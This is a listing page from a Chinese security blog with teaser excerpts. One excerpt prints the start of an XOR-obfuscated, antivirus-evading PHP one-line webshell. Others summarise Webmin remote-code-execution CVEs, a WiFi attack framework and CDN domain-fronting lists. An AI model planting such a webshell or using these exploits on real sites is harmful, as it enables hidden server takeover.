体验盒子

不再关注网络安全

v33异或免杀PHP一句话

v33异或免杀PHP一句话

venom 33的更新,webshell免杀PHP一句话,体积更小了。 <?php class VMTX{ function __destruct(){ $BRLI='f$vjcT'^"\x7\x57\x5\xf\x11\x20"; return @$BRLI("$this->EKDL"); } } $vmtx=new VMTX(); @$vmt...

Ehtools:一个功能强大的WiFi渗透工具框架

Ehtools:一个功能强大的WiFi渗透工具框架

Ehtools介绍 Ehtools是一个非常强大的WIFI渗透工具框架,对于初学者来说越来越容易使用,它可以很容易地从内部进行探索。 这个强大而简单的工具可以用于任何事情,从安装新的附加组件到在几秒钟内抓取一个 WP...

Webmin 小于等于 1.920 – Unauthenticated RCE

Webmin 小于等于 1.920 – Unauthenticated RCE

EDB-ID: 47230 CVE-2019-15107 本日由 Vendor 在@defcon AppSec Village 发布,修复了这个漏洞。 Webmin 必须更新到1.930版本。Exploit-DB LinkCVE-Mitre LinkDownload defcon_webmin_unauth_rce.rb (Meta...

Webmin 小于等于 1.910 – ‘Package Updates’ RCE

Webmin 小于等于 1.910 – ‘Package Updates’ RCE

EDB-ID: 46984 CVE-2019-12840 在 Webmin<= 1.910中,任何被授权到“ Package Updates”模块的用户都可以通过 data 参数 update.cgi 使用 root 权限执行任意命令。这造成了RCE漏洞。 Exploit-DB LinkC...

国内外CDN域名列表收集项目:DomainFrontingLists

国内外CDN域名列表收集项目:DomainFrontingLists

一个国内外常见CDN前端域名列表收集项目,可用于渗透测试/信息收集环节等场景,仅供参考。 包含CDN列表 Akamai.txtAliyun-SSL.txtAliyun.txtAzure.txtBeluga.txtCDN77.txtChinaCache.txtCloudFront-SSL-PA...

专为macOS设计的优秀免费解压缩软件 – eZip

专为macOS设计的优秀免费解压缩软件 – eZip

eZip:macOS解压缩软件 解压缩需求是最为常见的,在macOS下也有多款解压缩软件,但好用点的基本都收费。体验盒子之前用过BetterZip和Archiver,虽然用着没问题,但看到eZip并试用后决定改用eZip来当mac的常用...